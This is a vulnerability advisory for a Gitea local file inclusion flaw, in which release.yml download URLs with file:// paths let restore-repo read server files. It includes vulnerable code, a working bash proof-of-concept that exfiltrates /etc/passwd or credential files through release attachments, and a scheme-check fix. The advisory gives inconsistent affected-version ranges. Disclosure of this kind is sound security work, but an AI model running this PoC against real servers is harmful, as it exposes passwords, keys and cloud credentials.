Gitea: Local File Inclusion via file:// URI in Migration Restore
Published 21 Jul 2026 · Updated 22 Jul 2026
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Affected package
- Affected
- <1.27.0
- Fixed in
- 1.27.0
go get gitea.dev@v1.27.0Details
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:
- Isa Can — Eresus Security (https://github.com/isa0-gh)
- Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)
---
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
---
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini — containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
---
Affected Code
modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}---
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
1. Create a malicious archive containing release.yml:
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"2. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
4. Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \ -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'
---
PoC
> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"1. Create target org and repo via API
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true2. Build malicious archive
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/3. Trigger restore
gitea restore-repo \ --zip-path "$TMP/poc.zip" \ --owner "$OWNER" \ --repo "$REPO" \ --units release 2>&1
4. Retrieve exfiltrated content
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"---
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
---
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.---
Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
---
Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh
Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.